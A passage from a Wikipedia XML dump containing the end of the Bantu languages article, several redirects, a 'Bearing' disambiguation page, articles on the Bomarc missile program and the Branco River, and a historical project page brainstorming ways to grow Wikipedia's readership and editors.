**'''Zone D''' ([[Lengola language|Lengola]], [[Enya language|Enya]], [[Mbole language|Mbole]], [[Mituku language|Mituku]], [[Bembe language|Bembe]], [[Buyu language|Buyu]], [[Nyanga language|Nyanga]], [[Bhele language|Bhele]] (Piri), [[Bila language|Bila]], [[Bodo language|Bodo]], [[Bera language|Bera]] (Bira), [[Budu language|Budu]], [[Homa language|Homa]], [[Kaiku language|Kaiku]], [[Komo language|Komo]], [[Kango language|Kango]], [[Ndaka language|Ndaka]], [[Nyali language|Nyali]], [[Amba language|Amba]], [[Vanuma language|Vanuma]], [[Mbo language|Mbo]], [[Kare language|Kare]], [[Bali language|Bali]], [[Beeke language|Beeke]], [[Hamba language|Hamba]], [[Holoholo language|Holoholo]], [[Kanu language|Kanu]], [[Kwami language|Kwami]], [[Shabunda-Lega language|Shabunda-Lega]], [[Mwenga-Lega language|Mwenga-Lega]], [[Lika language|Lika]], [[Songoora language|Songoora]] (Dialects: Gengele, North Binja, South Binja), [[Zimba language|Zimba]])
**'''Zone E''' ([[Gweno language|Gweno]], [[Kahe language|Kahe]], [[Chaga language|Chaga]] (Chaga languages: [[Machame language|Machame]] [[Mochi language|Mochi]], [[Rombo language|Rombo]], [[Vunjo language|Vunjo]]), [[Rusa language|Rusa]], [[Malakote language|Malakote]], [[Chonyi language|Chonyi]], [[Digo language|Digo]], [[Duruma language|Duruma]], [[Giryama language|Giryama]] (Nyika), [[Segeju language|Segeju]], [[Pokomo language|Pokomo]] (Upper and Lower), [[Taita language|Taita]], [[Sagalia language|Sagalia]], [[Logoli language|Logoli]], [[Kabwa language|Kabwa]], [[Gusii language|Gusii]], [[Ikizu language|Ikizu]], [[Kuria language|Kuria]], [[Ngurimi language|Ngurimi]], [[Ikoma language|Ikoma]] (Nata), [[Sonjo language|Sonjo]] (Temi), [[Suba language|Suba]], [[Sizaki language|Sizaki]], [[Ware language|Ware]], [[Zanaki language|Zanaki]], [[Dhaiso language|Dhaiso]], [[Embu language|Embu]], [[Gikuyu language|Gikuyu]], [[Chuka language|Chuka]], [[Meru language|Meru]], [[Tharaka language|Tharaka]], [[Mwimbi language|Mwimbi]], [[Muthambi language|Muthambi]])
**'''Zone F''' ([[Bende language|Bende]], [[Fipa language|Fipa]], [[Mambwe language|Mambwe]], [[Lungu language|Lungu]], [[Pimbwe language|Pimbwe]], [[Rungwa language|Rungwa]], [[Tongwe language|Tongwe]], [[Konongo language|Konongo]], [[Kimbu language|Kimbu]], [[Nyamwezi language|Nyamwezi]], [[Sukuma language|Sukuma]], [[Sumbwa language|Sumbwa]], [[Bungu language|Bungu]], [[Langi language|Langi]], [[Mbugwe language|Mbugwe]], [[Nilamba language|Nilamba]], [[Nyaturu language|Nyaturu]] (Rimi), [[Mbugu language|Mbugu]])
**'''Zone G'''
**'''Zone H'''
**'''Zone J'''
**'''Zone K'''
**'''Zone L''' ([[Bwile language|Bwile]], [[Kaonde language|Kaonde]], [[Nkoya language|Nkoya]], [[Mbwera language|Mbwera]], [[Bangubangu language|Bangubangu]], [[Binji language|Binji]], [[Kete language|Kete]], [[Luna language|Luna]], [[Songe language|Songe]], [[Mbagani language|Mbagani]], [[Budya language|Budya]], [[Hemba language|Hemba]], [[Kanyok language|Kanyok]], [[Luba-Kasai language|Luba-Kasai]], [[Luba-Katanga language|Luba-Katanga]], [[Lwalu language|Lwalu]], [[Sanga language|Sanga]])
**'''Zone M'''
**'''Zone N''' ([[Manda language|Manda]], [[Mantengo language|Mantengo]], [[Ngoni language|Ngoni]], [[Tonga language (Bantu Zone N)|Tonga]], [[Mpoto language|Mpoto]], [[Nyanja language|Nyanja]], [[Tumbuka language|Tumbuka]], [[Nsenga language|Nsenga]], [[Barwe language|Barwe]], [[Kunda language|Kunda]], [[Nyungwe language|Nyungwe]], [[Phimbi language|Phimbi]], [[Sena language|Sena]], [[Malawi Sena language|Malawi Sena]], [[Podzo language|Podzo]], [[Rue language|Rue]])
**'''Zone P''' ([[Yao Bantu language|Yao]], [[Mwera language|Mwera]], [[Makonde language|Makonde]], [[Machinga language|Machinga]], [[Nyasa language|Nyasa]], [[Mabiha language|Mabiha]], [[Ndonde Hamba language|Ndonde Hamba]], [[Ndendeule language|Ndendeule]], [[Matumbi language|Matumbi]], [[Mbunga language|Mbunga]], [[Ndengereko language|Ndengereko]], [[Ngindo language|Ngindo]], [[Nindi language|Nindi]], [[Rufiji language|Rufiji]], [[Chuwabu language|Chuwabu]], [[Maindo language|Maindo]], [[Koti language|Koti]], [[Kokola language|Kokola]], [[Lolo Bantu language|Lolo]], [[Manyawa language|Manyawa]], [[Lomwe language|Lomwe]], [[Ngulu Bantu language (Zone P)|Ngulu]], [[Marenje language|Marenje]], [[Takwane language|Takwane]], [[Makua language|Makua]], [[Makhuwa-Meetto language|Makhuwa-Meetto]], [[Makhuwa-Moniga language|Makhuwa-Moniga]], [[Makhuwa-Shirima language|Makhuwa-Shirima]], [[Makhuwa-Marrevone language|Makhuwa-Marrevone]], [[Makhuwa-Saka language|Makhuwa-Saka]])
**'''Zone R''' ([[Herero language|Herero]], [[Zemba language|Zemba]], [[Yeyi language|Yeyi]], [[Umbundu language|Umbundu]] (South Mbundu), [[Ndombe language|Ndombe]], [[Nyaneka language|Nyaneka]], [[Nkhumbi language|Nkhumbi]], [[Kwanyama language|Kwanyama]], [[Ndonga language|Ndonga]], [[Kwambi language|Kwambi]], [[Ngandyera language|Ngandyera]], [[Mbalanhu language|Mbalanhu]])
**'''Zone S''' ([[Dema language|Dema]], [[Kalanga language|Kalanga]], [[Manyika language|Manyika]], [[Ndau language|Ndau]], [[Nambya language|Nambya]], [[Shona language|Shona]], [[Zezuru language|Zezuru]], [[Toko language|ChiToko]] [[Tawara language|Tawara]], [[Tewe language|Tewe]], [[Chopi language|Chopi]], [[Tonga-Inhambane language|Tonga-Inhambane]], [[Ronga language|Ronga]] [[Tsonga language|Tsonga]], [[Tonga language (Bantu Group S)|Tonga]], [[Tswa language|Tswa]], [[Venda language|Venda]], [[Swati language|Swati]] (Swazi), [[Xhosa language|Xhosa]], [[Zulu language|Zulu]], [[Ndebele language|Zimbabwe Ndebele]], [[Ndebele language|North Transvaal Ndebele]], [[Ndebele language|South Transvaal Ndebele]], [[Northern Sotho language|Northern Sotho]], [[Southern Sotho language|Southern Sotho]], [[Birwa language|Birwa]], [[Kgalagadi language|Kgalagadi]], [[Lozi language|Lozi]], [[Tswana language|Tswana]], [[Tswapong language|Tswapong]])
**'''Unclassified''' ([[Boguru language|Boguru]], [[Gbati-ri language|Gbati-ri]], [[Isanzu language|Isanzu]], [[Ngbee language|Ngbee]], [[Kari language|Kari]], [[Mayeka language|Mayeka]], [[Ngbinda language|Ngbinda]], [[Nyanga-li language|Nyanga-li]], [[Songo language|Songo]])

==Some Bantu words in popular Western culture==
* [[Samba]]
* [[Banjo]]
* [[Rumba]]
* [[Conga]]
* [[Mambo]]
* [[Zombie]]
* [[Bongos]]
* [[Gumbo]]
* [[Jumbo]]
* [[Marimba]]
* [[Simba]]

==See also==
* [[Meeussen's rule]]
* [[Noun class]]
* [[Bantu]]

==Bibliography==
* Guthrie, Malcolm (1948) ''The classification of the Bantu languages.'' London: Oxford University Press for the International African Institute.
* Guthrie, Malcolm (1971) ''Comparative Bantu'' vol 2. London: Gregg Press.
* Heine, Bernd (1973) 'Zur genetische Gliederung der Bantu-Sprachen'. ''Afrika und Übersee'', 56, 164&amp;ndash;185.
* Maho, Jouni F. (2001) 'The Bantu area: (towards clearing up) a mess'. ''Africa &amp; Asia'', 1, 40&amp;ndash;49.
* Piron, Pascale (1995) 'Identification lexicostatistique des groupes Bantoïdes stables.' ''Journal of West African Languages'', 25, 2, 3&amp;ndash;39.

==External links==
* [http://www.cbold.ddl.ish-lyon.cnrs.fr/ Comparative Bantu Online Dictionary] - includes a comprehensive bibliography.
* [http://www.bantu-languages.com/en/ Bantu online resources by Jacky Maniacky], including
** [http://www.bantu-languages.com/fr/classes.html List of Bantu noun classes with reconstructed Proto-Bantu prefixes (in French)]
* [http://www.linguistics.berkeley.edu/CBOLD/Lgs/LgsbyGN.html List of Bantu language names with synonyms ordered by Guthrie number]).
* [http://www.musicofpuertorico.com/en/genre_mambo.html Music of Puerto Rico]
* [http://www.etymonline.com Etymology Dictionary]
* [http://www.multilingual-matters.net/jmmd/021/0487/jmmd0210487.pdf  Adaptation of English loanwords in Chichewa]
* [http://www.linguistics.emory.edu/POLYGLOT/phonology.html#bemba Bemba Phonology]
* [http://www.journalofwestafricanlanguages.org/ Journal of West African Languages] - for back issues and reprints of articles.

[[Category:Bantu languages|*]]
[[Category:Southern Bantoid languages]]
[[Category:Synthetic languages]]

[[ast:Llingües del grupu bantú]]
[[da:Kategori:Bantusprog]]
[[de:Bantusprache]]
[[es:Lenguas bantúes]]
[[et:Bantu keeled]]
[[fa:زبان‌های بانتو]]
[[fi:Bantukielet]]
[[fr:Langues bantoues]]
[[lt:Bantu kalbos]]
[[nl:Bantoetalen]]
[[nn:Bantuspråk]]
[[no:Bantuspråk]]
[[pl:Jezyki bantu]]
[[pt:Línguas Bantu]]
[[sr:Банту (језик)]]
[[sv:Bantuspråk]]
[[sw:Kibantu, lugha]]</text>
    </revision>
  </page>
  <page>
    <title>Ballroom dancing</title>
    <id>4126</id>
    <revision>
      <id>15902423</id>
      <timestamp>2002-11-23T08:15:29Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Ballroom dance]]</text>
    </revision>
  </page>
  <page>
    <title>Bearing</title>
    <id>4127</id>
    <revision>
      <id>39856996</id>
      <timestamp>2006-02-16T09:20:24Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Bearing''' is the following:
{{wiktionarypar|bearing}}
* Often, [[bearing]] is the state of having something as a quality, characteristic, or permanent attribute.
* To carry or hold.
* [[Bearing (navigation)]] is a term for direction.
* A [[bearing (mechanical)]] is a component that separates moving parts.
* In mechanics a bearing component is one that takes a load.

==See also==
*[[Giving]]
*[[Bering]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>BOMARC</title>
    <id>4129</id>
    <revision>
      <id>15902425</id>
      <timestamp>2004-04-19T14:56:58Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <comment>#REDIRECT [[Bomarc Missile Program]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bomarc Missile Program]]</text>
    </revision>
  </page>
  <page>
    <title>Bomarc Missile Program</title>
    <id>4130</id>
    <revision>
      <id>40604110</id>
      <timestamp>2006-02-21T19:44:01Z</timestamp>
      <contributor>
        <username>Jbhood</username>
        <id>630935</id>
      </contributor>
      <minor />
      <comment>small copyedit</comment>
      <text xml:space="preserve">[[Image:BOMARC.jpg|thumb|220px|Bomarc missile launch]]

The '''Bomarc Missile Program''' was a joint [[United States|United States of America]]-[[Canada]] effort between [[1957]] and [[1971]] to protect against the [[Soviet Union|USSR]] bomber threat.  It involved the deployment of tactical stations armed with Bomarc missiles along the east and west coasts of [[North America]] and the central areas of the continent. BOMARC and [[Semi Automatic Ground Environment|SAGE]] were phased out in the late sixties as they were ineffective and costly.  

The Bomarcs were capable of carrying conventional or [[nuclear weapon|nuclear]] warheads.  Their intended role in defence was in an intrusion prevention perimeter. Bomarcs aligned on the eastern and western coasts of North America would theoretically launch and disintegrate enemy bombers before the bombers could drop their payload on industrial regions.

The name Bomarc was conceived as a merge of the two organisations who played the most prominent roles in its creation: [[Boeing]] and the [[Michigan Aeronautical Research Center]] (MARC).  It was originally designated F-99, imagined as being equivalent to a fighter, but was quickly redesignated &quot;IM&quot; for Interceptor Missile, retaining the -99 series number.

The &quot;Bomarc IM-99A&quot; was the first production Bomarc missile.  It had an operational radius of 200 miles, and was designed to fly at [[Mach number|Mach]] 2.5-2.8 at a cruising altitude of 60,000 feet. It was 14.2 m (46.6 ft) long and weighed 7,020 kg (15,500 lb). A [[rocket]] engine boosted the Bomarc to Mach 2, and then its [[ramjet]] engines would take over for the remainder of the flight. 

The &quot;Super Bomarc IM-99B&quot; was the 99A's successor, with improvements to its operational parameters.  It was capable of striking targets within a radius of 400 miles, and able to fly at Mach 4 as high as 100,000 feet. It was 13.7 m (45 ft) long and weighed 7,250 kg (16,000 lb).

[[International Business Machines|IBM]] designed an additional component to this, called SAGE, which allowed for remote launching of the Bomarc missiles.

At the height of the program, there were 14 Bomarc sites located in the United States, and two in Canada.

The Bomarc Missile Program was highly controversial in Canada. The [[Progressive Conservative Party of Canada|Progressive Conservative]] government of [[Prime Minister of Canada|Prime Minister]] [[John George Diefenbaker]] initially agreed to deploy the missiles, and controversially scrapped the [[Avro Arrow]] interceptor program arguing that the missile program made the Arrow unnecessary.   

Initially, it was unclear whether the missiles would be equipped with nuclear warheads. Once their use as nuclear weapons became known in [[1960]], a debate ensued about whether Canada should accept nuclear weapons. Ultimately, the Diefenbaker government decided that the Bomarcs should be equipped with conventional warheads. The dispute split the Diefenbaker [[Canadian Cabinet|Cabinet]], and led to the collapse of the government in [[1963]]. The Opposition [[Liberal Party of Canada|Liberal Party]] argued in favour of accepting nuclear warheads, and, after winning the [[Canadian federal election, 1963|1963 election]], the new Liberal government of [[Lester Pearson]] proceeded to accept nuclear warheads, with the first being deployed on [[December 31]], [[1963]]. 

[[Pierre Trudeau]], who was at the time a member of the [[New Democratic Party]], witheringly attacked Pearson for the decision. While he was forced to reverse himself when he decided to run as a candidate for the Liberals in the [[Canadian federal election, 1965|1965 election]], he remained unenthusiastic. Shortly after becoming prime minister in [[1968]], he announced that the missiles would be phased out by [[1971]]. 

Although a number of IM-99/CIM-10 Bomarcs have been placed on public display, concerns about the possible environmental hazards of the thoriated magnesium structure of the airframe have resulted in several being removed from public view.  Radiation contamination from a fire at [[McGuire AFB]], N.J., that destroyed an active Bomarc-A airframe on the launch pad on June 7, [[1960]], resulted in that area remaining off-limits to the present day.  The nuclear warhead was not activated in this [[Broken Arrow]] accident, however. 

''Sources:'' Russ Sneddon, director of the USAF Armament Museum, Eglin AFB, Florida. (Provided information about missing CIM-10 exhibit airframe serial 59-2016, one of the museum's original artifacts from its founding in [[1975]] and donated by the 4751st Air Defense Squadron at [[Hurlburt Field]], Eglin Aux. Fld. 9. As of mid-April [[2005]], the suspect missile was still stored in a secure compound behind the Armaments Museum.)

[http://rcaf-atc.org/misc/bomarc/bomarc8.html History of the Royal Canadian Air Force 'Pinetree Line' air defense stations ]

[[Category:Cold War weapons of the United States]]
[[Category:Weapons of Canada]]
[[Category:Nuclear anti-aircraft weapons]]

[[de:Bomarc]]</text>
    </revision>
  </page>
  <page>
    <title>Britannia Games</title>
    <id>4131</id>
    <revision>
      <id>15902427</id>
      <timestamp>2002-12-07T18:35:46Z</timestamp>
      <contributor>
        <username>Scipius</username>
        <id>488</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Brittannia Game Designs]]</comment>
      <text xml:space="preserve">#REDIRECT [[Brittannia Game Designs]]</text>
    </revision>
  </page>
  <page>
    <title>Branco River</title>
    <id>4132</id>
    <revision>
      <id>34760568</id>
      <timestamp>2006-01-11T15:10:51Z</timestamp>
      <contributor>
        <username>Nick Taylor</username>
        <id>699162</id>
      </contributor>
      <minor />
      <comment>Changed link from Negro River to Rio Negro</comment>
      <text xml:space="preserve">The '''Rio Branco''' is the principal [[affluent]] of the [[Rio Negro]] from the north; it is enriched by many streams from the sierras which separate [[Venezuela]] and [[Guyana]] from [[Brazil]]. Its two upper main tributaries are the [[Urariquira River|Urariquira]] and the [[Takutu River|Takutu]]. The latter almost links its sources with those of the [[Essequibo River|Essequibo]].

The Branco flows nearly south, and finds its way into the Negro through several channels and a chain of lagoons similar to those of the latter river. It is 350 miles long, up to its Urariquira confluence. It has numerous islands, and, 235 miles above its mouth, it is broken by a bad series of rapids.

[[Category:Amazon river tributaries]]
[[Category:Rivers of Brazil]]
[[Category:Rivers of Venezuela]]</text>
    </revision>
  </page>
  <page>
    <title>Boston/Transportation</title>
    <id>4133</id>
    <revision>
      <id>15902429</id>
      <timestamp>2004-02-24T02:50:08Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Boston transportation]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Building Wikipedia membership</title>
    <id>4135</id>
    <revision>
      <id>41073856</id>
      <timestamp>2006-02-24T22:00:04Z</timestamp>
      <contributor>
        <ip>216.39.146.233</ip>
      </contributor>
      <comment>/* Targeting publicity efforts */ minor edit- spelling change</comment>
      <text xml:space="preserve">{{historical}}
[[fr:Wikipédia:Comment recruter des contributeurs]]
[[ja:Wikipedia:Building Wikipedia membership]]
[[zh:&amp;#23459;&amp;#20256;Wikipedia]]
As far as our server can handle it, we like to increase traffic to [[Wikipedia]]: it helps improving the quality and quantity of the content and increases the total amount of joy and other utility it has for people. This page lists ways of doing this.

----

Let's talk about how to increase traffic to Wikipedia, of both readers and writers--that is now going to become one of the main focuses of my Wikipedia work.  So I want your help!  How can we increase &quot;membership&quot; in Wikipedia--both readers ''and'' new writers?

Let's brainstorm.  Please, add an idea below, or help develop ideas.  (Sometimes, a really great new idea is a slight variation on a just-OK old idea.)

Also, if you do any work that you think someone else might inadvertently replicate, can you please write it down here somehow (as on the [[Wikipedia:Building Wikipedia membership/Encyclopedia links solicited|Encyclopedia links solicited]] page)?  Thanks! --[[User:Larry Sanger|Larry Sanger]]

==Urban poster campaign==
See [[meta:Wikimedia urban postering campaign]]!

==Brainstormin'==
* How about we do something like [[Spread Firefox]]? We could start our own publicity campaign, and if we ever get something like the NYT ad or the Firefox coins (see article) then I get the feeling wikipedia use would go WAY up! :D
[[User:203.59.117.99|203.59.117.99]] 08:35, 22 August 2005 (UTC)
* Solicit links from (mentioning [[Wikipedia:Wikipedia banners and logos]]):
** Websites with substantial traffic, like [[Wikipedia:Building Wikipedia membership/About.com|About.com]] (see [[Wikipedia:Building Wikipedia membership/Big traffic links solicited|Big traffic links solicited]])
** People with lists of encyclopedias (see [[Wikipedia:Building Wikipedia membership/Encyclopedia list links solicited|Encyclopedia list links solicited]])
** People with encyclopedia-type websites (see [[Wikipedia:Building Wikipedia membership/Encyclopedia links solicited|Encyclopedia links solicited]])
** Best-of websites and similar resources (see [[Wikipedia:Building Wikipedia membership/Best of sites links solicited|Best of sites links solicited]])
** Web sites for authors, films, whatever. There's always a list of links. Add a link to the Wikipedia Stephen King page to Stephen King web sites, to the Japan page on Japan web sites, and so on. 

* for individual articles, solicit links from:
** related resources (particularly if we mention them in ''external links'')
** directories such as [[LookSmart]], [[Open Directory Project]] and [[Yahoo!]]

* Get people to add article review requests to [[User:Larry Sanger/Review requests]]; find reviewers for those articles.

* Approach websites that might want free content, and help them to get their hands on Wikipedia's; this is something Bomis programmers and volunteers could work on.  Maybe after we're running Magnus' PHP code?

* Post announcements on mailing lists.  But of what sort?  Obviously, we want to avoid spam.
** Start ''and continue'' discussions about Wikipedia articles (for this, the help of Wikipedians will be necessary)
** Simply announce the existence of Wikipedia, soliciting help.  I think this is actually plausible.
** Recruit fans for specific areas of Wikipedia. For example, someone could drop by a [[Star Trek]] newsgroup and mention that our pages need work. I bet we'd have a huge Star Trek section in no time...

* Possible solicitation letters:
**[[/Sample solicitation]]
**[[/Another sample solicitation]]
**[[/Sample solicitation 3]]
**[[/Skeptical solicitation]]

* Post announcements on newsgroups.  But try to be careful to go slowly through them--make sure the post is specially-tailored to whatever group you post to.  A good strategy is to pick a Wikipedia article, point out a few problems with it, and post a link to the article, inviting people to make changes.  If you have posted an announcement to a newsgroup, will you please list it here: [[Wikipedia:Building Wikipedia membership/Newsgroups|Newsgroups]]. If you don't know much about newsgroups, go to http://groups.google.com.

* Contact webmasters who have content-rich sites.  Get them excited about Wikipedia, and invite them to make their content part of something great.

* Increase production of pages that are of interest to the search engines.  '''Look at [http://50.lycos.com/ the Lycos 50] and the [http://www.google.com/press/zeitgeist.html Google Zeitgeist] and make sure that there are articles on all those topics.'''  I would say that writing some simple short biographies of famous people would help. It will help when we have reliable and regularly updated stats on what is popular.  One interesting thing about this is that other people may follow suit so that there is a &quot;trend&quot; on the site.

* Increase the standing of Wikipedia with Bomis.  (There is a bug in the system which means that Wikipedia articles are not returned as often as they could be.  We're working on this.)

* Work to get additional press coverage, following up on the NYT article as best we can.  [[Wikipedia:Building Wikipedia membership/Ideas for articles about Wikipedia and other press events|Ideas for articles about Wikipedia and other press events]].

* Write a scholarly article about &quot;Empirical studies in social epistemology&quot; and get it published.

* Write to authors of good books on subjects we need help on and invite them to write an article on Wikipedia. 

* Schools. Speak to any teachers you know and have them set up an exercise where their students write on various topics that are untouched. Students get school credit for their work, obviously and also get excited about participating. I've told my mother (who teaches grade 4), and her students are planning to do articles about australian mammals, some as-yet-untouched countries, etc.

* Promote free content: Whenever you make a post on other content sites, include a statement that your content is GFDL, public domain, or whatever...

* Get slashdotted once in a while.  For example submit article to Slashdot when we reach 150,000 articles, 200,000, etc...  [[User:Dgrant|dave]] 15:48 18 Jul 2003 (UTC)

* Add an [[RSS (protocol)|RSS]] feed to syndicate the content. See [[meta:RDF spool]]

* Would it be possible to make a subscription to an &quot;Article of the Day&quot; email. So someone subscribes and then every day they get a different entry in their mailbox. This is something that websters.com and dictionary.com do for &quot;word of the day&quot; definitions. It would probably need someone to take charge of it and select which entries go out (the random link too often goes to a stub or a disabmiguation page) I'll ([[user:MrWeeble]]) volunteer. It shouldn't be too hard to do - there's plenty of free (as in speech as well as in beer) software for this kind of thing 

*Just tell people about Wikipedia- like one-on-one

* Suggest publications that came with CD or DVD to include converted static dump of Wikipedia (including viewer applications, if required) in their CD or DVD. Even better, suggest them to write an article about Wikipedia too.

(The above is just a start!  Please add to the list!)

----

Moved from [[Wikipedia:Village pump]] on [[Tuesday]], [[November 26]]th, [[2002]]:

== Wikipedia Evangelism ==
Hi, I've mentioned this before and thought I'd mention it again. As I'm browsing the pedia I find articles that might interest friends/coworkers. I pop them a link in a quick hello message and ask them if they confirm the accuracy of the content...the response so far has been first one of wonder, then awe, then enthusiasm! And it's been a nice way to relate to some folks I'm not often in contact with. Anyway, I searched for [[evangelism]] and came up with nada around the 'pedia. Is there a place for sharing an evangelical/ 'help us' message of [[wikipedia]]? --[[User:DennisDaniels|dgd]]

There's some stuff at [[Wikipedia:Building Wikipedia membership]]. (Hint which wouldn't help here but may in general: after searching, go to the &quot;Power search&quot; box at the bottom of the screen and check the box for the 'Wikipedia' namespace. You'll get various about, help, documentation, etc pages that aren't supposed to show up when you're searching for encyclopedia articles.) Also check the [[m:Main Page|Meta-wikipedia]] where we keep general project discussion and misc stuff. --[[User:Brion VIBBER|Brion]] 20:42 Oct 22, 2002 (UTC)

How about doing what a lot of news web pages do?  They have a box at the bottom, &quot;Send this article to a friend&quot; with some kind of java mailer to ship it off and a box for you to add a signed message. [[User:Ortolan88|Ortolan88]]
:I like that idea too. Especially, and I know this would require more overhead, but a way to keep my list of folks in memory so I don't have to open my email client (which may not be available esp, as I'm a student and working on diff. machines).
:How about mailto:root@localhost?Subject=Main%20Page&amp;Body=Look%20at%20http%3A//www.wikipedia.org/wiki/Main_Page] ? The text needs to be changed, but it takes no more work than the Edit this page link to add at the bottom. Use a form with input text or a [[JavaScript]] inputbox() to an e-mail, then add subject=&lt;title&gt;&amp;body=Look%20at%20&lt;url-to-title&gt; to the mailto. [[User:Geoffrey|Geoffrey]] 23:27 Mar 21, 2003 (UTC)

* Add Wikipedia pages to ODP and Yahoo directories
* Add Wikipedia to your Yahoo profile's favorite sites
[[User:Hemanshu|Hemanshu]] 22:48, 24 Nov 2003 (UTC)

* Develop software like Google toolbar to reach Wikipedia articles and browse Wikipedia [[User:Hemanshu|Hemanshu]] 23:31, 24 Nov 2003 (UTC)

Wikimedia should run a Wikipedia advertisement competition. As far as I can tell, WikiPedia has no advertisements. I am on a college campus and one group I am associated with advertises for lots of free software (Firefox and OpenOffice mostly) that is useful to college students. We would definitely put up some Wikipedia posters if there were a couple simple advertisements we could print out. This should be done similarly to how the logo contests were. If the contests are run, the purpose should be to get at least four advertisements: fliers for letter/A4 paper in both black &amp; white and color and posters for tabloid/A3 paper in both black &amp; white and color, so that it is easy for people to print them off and put them up on bulletin boards and the like. (If advertisements are available and I cannot find them, they should be made much more obvious.) --[[User:Jamethknorth|Jamethknorth]] 02:25, 20 Mar 2005 (UTC)

== Invitations ==
requesting permission to re-use somebody else's content in Wikipedia:
* [[Wikipedia:Boilerplate request for permission]]
* [[m:Standard email texts]]

* Use Social Networks as a way to communicate.

Moved from [[Wikipedia:Village pump]] on [[Wednesday]], [[June 9]]th, [[2004]]:

==Invitation Letter==
Last weekend, I went to a number of places where there were guided tours, and that got me thinking...''it would be nice if this person could contribute their knowledge of this place to Wikipedia...''

I think there should be a standard letter to invite people to share their knowledge with Wikipedia, for when you come across someone who knows a lot about something.

Or does a simlar thing already exist?  What do you think?  [[User:RealGrouchy|RealGrouchy]] 00:03, 9 Jun 2004 (UTC)

: I think it's a great idea. There's some sample solicitation letters linked from [[Wikipedia:Building Wikipedia membership]]. [[User:Matt Crypto|&amp;mdash; Matt]] 02:02, 9 Jun 2004 (UTC)
 
Okay, so obviously I checked it out.  Can someone draft a copy that can be printed out and handed to people (maybe like two to a page?).  If nobody does, then I'll probably make one in time.  [[User:RealGrouchy|RealGrouchy]] 17:39, 9 Jun 2004 (UTC)

==Don't lose new and existing members!==

There are a lot of great ideas for bringing in new members here. But don't forget that, once they're here, we want to keep them! [[America Online]] is a great case study of how focusing too much on new members and not enough on serving existing members can actually ''lose'' overall membership. Wikipedia must be an useful, easy, and pleasurable experience for new users. The droves of contributors ensure that &quot;useful&quot; is not a problem, at least as far as content goes. To make it &quot;easy&quot;, more attention needs to be paid the initial interface learning curve for newbies. Both &quot;pleasurable&quot; and &quot;useful&quot; are significantly impacted by outrageously long response times and frequent server down time, so we must be careful not to bring in new people faster than we can fix these ongoing problems. Give a person a bad taste in their mouth from their first experience with Wikipedia, and we may not see them again. (That's why I never went back to Ask Jeeves!, Encylopedia Britannica, and many other search and reference sites after finding more reliable ones.) -- [[User:Jeffq|Jeff Q]] 17:55, 9 Jun 2004 (UTC)

:I know what you mean.  I still consider myself a 'new member', but I spend a lot of time just looking through the hordes of confusing help pages before I made my first edit (I have never used the sandbox).  Luckily, I added an entry to my user page telling people that I am a new user, and asking for suggestions, and someone told me what they felt was the most important tips and links.

: Now, I do things with more ease, because I can look at pages I've created (esp images) and see how others have edited my work, and I can adapt to that format in new pages.  However, I'm a follow-the-instructions kind of guy; we should have procedural stuff to tell people what they need to know about different things, like editing a page, and adding an image, etc. [[Wikipedia:Picture tutorial]] is a good example. - [[User:RealGrouchy|RealGrouchy]] 23:14, 9 Jun 2004 (UTC)

::I think Wikipedia does a pretty good job of explaining all the pieces that one needs to do various things. The problem is perhaps more the sheer size and quantity of things one should learn to feel truly Wiki-knowledgeable. I'm always coming across useful pages by accident. I just ran into [[Wikipedia:Style and How-to Directory]], some items of which I've read before, and some I've picked up by Wiki-osmosis, but I suspect this will give me another boost along the learning curve. I have two tips about the Sandbox I hadn't noticed mentioned anywhere:
::# Most of the time, what you're testing is completely demonstrated in &quot;Show preview&quot;, so you don't even need to worry about overwriting the main Sandbox &amp;mdash; just keep your Edit window open until you're done, then Cancel or just close it.
::# I ran across another Wikipedian (I forgot who) who had created their own Sandbox at User:&lt;username&gt;/Sandbox. It's easy to create such a page, and you never have to worry about what's in the main Sandbox or that someone might overwrite it, plus you can save stuff for extended testing.
::I'll bet there are similar &quot;best practices&quot; tips scattered around, maybe even not so scattered. It's hard to know with some much to learn and find. But that's a Good Thing, mostly. -- [[User:Jeffq|Jeff Q]] 00:05, 10 Jun 2004 (UTC)

:There is a real need to make inforamtion about the project, especially help pages more ordered and useful. To give an example although I can find many pages which tell me that I can have a personal Sandbox there is no documentation on how to achieve this. There isn't even a forum where newbies can post a question and get an answer to their problem/request from someone more experienced, or if it exists it is not well publicised.--[[User:ChemRad|ChemRad]] 13:56, 24 Feb 2005 (UTC)

==From Wikipedia:Publicity==
There are numerous ways you can help publicize [[Wikipedia]], and thereby get more people to edit your work and make this into a real live encyclopedia.  Just think--in a few years, Wikipedia is probably going to be ''amazing.''  (Feel free to add to this list.)

* Ask people to read and help:
** If you've done a lot of work in some particular area, post an announcement to a mailing list or newsgroup telling people about your work and asking them to help.
** If there hasn't been a lot of work in a particular area, post an announcement telling people about Wikipedia and asking them to help!
** Tell friends and colleagues.  E-mail an announcement to them.  Ask them to check your work, or to write pages on their areas of specialization, or their hobbies, or whatever.

* Publicize wiki pages:
** Submit particular wiki pages (e.g., your &quot;baby&quot; pages) to search engines.
** Link to Wikipedia from your websites. Linking to articles helps people find them and improves their ranking on search engines.
** Ask other people to link to Wikipedia.

* Publicize Wikipedia as a whole: 
** Observe (in writing and smugly) on other wikis that Wikipedia is easily the fastest-growing wiki in the world.
** Add a link to Wikipedia to your e-mail or message board signature.
** Share your joy of using Wikipedia with your friends and other people.

* Cite Wikipedia as a source:
** If you are a student writing a paper then use Wikipedia as one of your sources.
** If you know such students, encourage them to do so.


==From Wikipedia talk:Publicity==
=== Hard to find help on how to publicise the Wikipedia ===

So, I got it into my head that I wanted to add a link to the Wikipedia from my blog...easier said than done! It took me quite a while to find the right graphic. That is weird. I ended up finding

* [[Wikipedia:Banners and buttons]]
* [[Wikipedia:Building Wikipedia membership]]

But nowhwere from the Main pages or the &quot;Community Portal&quot; is this or an alternative page listed!

